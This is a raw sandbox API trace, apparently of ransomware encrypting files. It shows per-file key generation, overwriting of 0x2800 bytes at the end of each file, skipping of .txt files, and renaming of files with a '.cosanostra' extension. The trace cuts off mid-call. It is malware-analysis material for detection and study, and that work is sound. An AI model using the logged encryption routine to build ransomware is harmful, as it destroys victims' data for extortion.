MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.cosanostra")) returned 1 [0093.186] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df638 | out: pbBuffer=0x28df638) returned 1 [0093.186] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df630*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df630*=0x30) returned 1 [0093.186] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.186] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df638 | out: pbBuffer=0x28df638) returned 1 [0093.187] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df630*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df630*=0x30) returned 1 [0093.187] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.187] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df630 | out: pbBuffer=0x28df630) returned 1 [0093.187] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df628*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df628*=0x30) returned 1 [0093.187] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.187] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df630 | out: pbBuffer=0x28df630) returned 1 [0093.187] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df628*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df628*=0x30) returned 1 [0093.187] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.189] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df628 | out: pbBuffer=0x28df628) returned 1 [0093.189] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df620*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df620*=0x30) returned 1 [0093.189] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.189] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 87 [0093.189] StrStrW (lpFirst="MSNBC News~.feed-ms", lpSrch=".txt") returned 0x0 [0093.191] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.191] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5e4*=0x2800, lpOverlapped=0x0) returned 1 [0093.191] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.191] WriteFile (in: hFile=0x180, lpBuffer=0x28df624*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5e4, lpOverlapped=0x0 | out: lpBuffer=0x28df624*, lpNumberOfBytesWritten=0x28df5e4*=0x4, lpOverlapped=0x0) returned 1 [0093.192] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5e4*=0x30, lpOverlapped=0x0) returned 1 [0093.192] CloseHandle (hObject=0x180) returned 1 [0093.192] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.cosanostra") returned 98 [0093.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.cosanostra")) returned 1 [0093.195] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df620 | out: pbBuffer=0x28df620) returned 1 [0093.195] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df618*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df618*=0x30) returned 1 [0093.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.196] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 94 [0093.196] StrStrW (lpFirst="Microsoft at Work~.feed-ms", lpSrch=".txt") returned 0x0 [0093.198] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.198] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.198] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.198] WriteFile (in: hFile=0x180, lpBuffer=0x28df61c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5dc, lpOverlapped=0x0 | out: lpBuffer=0x28df61c*, lpNumberOfBytesWritten=0x28df5dc*=0x4, lpOverlapped=0x0) returned 1 [0093.198] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5dc*=0x30, lpOverlapped=0x0) returned 1 [0093.198] CloseHandle (hObject=0x180) returned 1 [0093.198] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.cosanostra") returned 105 [0093.198] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.cosanostra")) returned 1 [0093.199] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df620 | out: pbBuffer=0x28df620) returned 1 [0093.199] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df618*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df618*=0x30) returned 1 [0093.199] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.199] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 94 [0093.199] StrStrW (lpFirst="Microsoft at Home~.feed-ms", lpSrch=".txt") returned 0x0 [0093.201] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.201] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.201] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.201] WriteFile (in: hFile=0x180, lpBuffer=0x28df61c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5dc, lpOverlapped=0x0 | out: lpBuffer=0x28df61c*, lpNumberOfBytesWritten=0x28df5dc*=0x4, lpOverlapped=0x0) returned 1 [0093.202] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5dc*=0x30, lpOverlapped=0x0) returned 1 [0093.202] CloseHandle (hObject=0x180) returned 1 [0093.202] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.cosanostra") returned 105 [0093.202] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.cosanostra")) returned 1 [0093.203] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df618 | out: pbBuffer=0x28df618) returned 1 [0093.203] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df610*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df610*=0x30) returned 1 [0093.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.203] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 125 [0093.203] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0093.232] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.232] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5d4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5d4*=0x2800, lpOverlapped=0x0) returned 1 [0093.232] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.232] WriteFile (in: hFile=0x180, lpBuffer=0x28df614*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5d4, lpOverlapped=0x0 | out: lpBuffer=0x28df614*, lpNumberOfBytesWritten=0x28df5d4*=0x4, lpOverlapped=0x0) returned 1 [0093.327] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5d4*=0x30, lpOverlapped=0x0) returned 1 [0093.327] CloseHandle (hObject=0x180) returned 1 [0093.327] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.cosanostra") returned 136 [0093.327] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.cosanostra")) returned 1 [0093.328] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df618 | out: pbBuffer=0x28df618) returned 1 [0093.328] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df610*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df610*=0x30) returned 1 [0093.328] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.329] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 130 [0093.329] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0093.371] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.371] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5d4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df5d4*=0x2800, lpOverlapped=0x0) returned 1 [0093.454] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.454] WriteFile (in: hFile=0x180, lpBuffer=0x28df614*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5d4, lpOverlapped=0x0 | out: lpBuffer=0x28df614*, lpNumberOfBytesWritten=0x28df5d4*=0x4, lpOverlapped=0x0) returned 1 [0093.778] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5d4*=0x30, lpOverlapped=0x0) returned 1 [0093.778] CloseHandle (hObject=0x180) returned 1 [0093.930] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.cosanostra") returned 141 [0093.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.cosanostra")) returned 1 [0093.931] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df610 | out: pbBuffer=0x28df610) returned 1 [0093.931] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df608*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df608*=0x30) returned 1 [0093.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.936] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 149 [0093.936] StrStrW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch=".txt") returned 0x0 [0095.347] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.347] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5cc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5cc*=0x2800, lpOverlapped=0x0) returned 1 [0095.348] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.348] WriteFile (in: hFile=0x138, lpBuffer=0x28df60c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5cc, lpOverlapped=0x0 | out: lpBuffer=0x28df60c*, lpNumberOfBytesWritten=0x28df5cc*=0x4, lpOverlapped=0x0) returned 1 [0095.348] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5cc*=0x30, lpOverlapped=0x0) returned 1 [0095.348] CloseHandle (hObject=0x138) returned 1 [0095.348] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.cosanostra") returned 160 [0095.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.cosanostra")) returned 1 [0095.349] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df610 | out: pbBuffer=0x28df610) returned 1 [0095.349] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df608*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df608*=0x30) returned 1 [0095.349] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0095.350] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned 74 [0095.350] StrStrW (lpFirst="WWINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.455] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.455] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5cc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5cc*=0x2800, lpOverlapped=0x0) returned 1 [0095.455] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.455] WriteFile (in: hFile=0x138, lpBuffer=0x28df60c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5cc, lpOverlapped=0x0 | out: lpBuffer=0x28df60c*, lpNumberOfBytesWritten=0x28df5cc*=0x4, lpOverlapped=0x0) returned 1 [0095.478] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5cc*=0x30, lpOverlapped=0x0) returned 1 [0095.478] CloseHandle (hObject=0x138) returned 1 [0095.497] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.cosanostra") returned 85 [0095.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll.cosanostra")) returned 1 [0095.533] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df608 | out: pbBuffer=0x28df608) returned 1 [0095.533] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df600*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df600*=0x30) returned 1 [0095.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 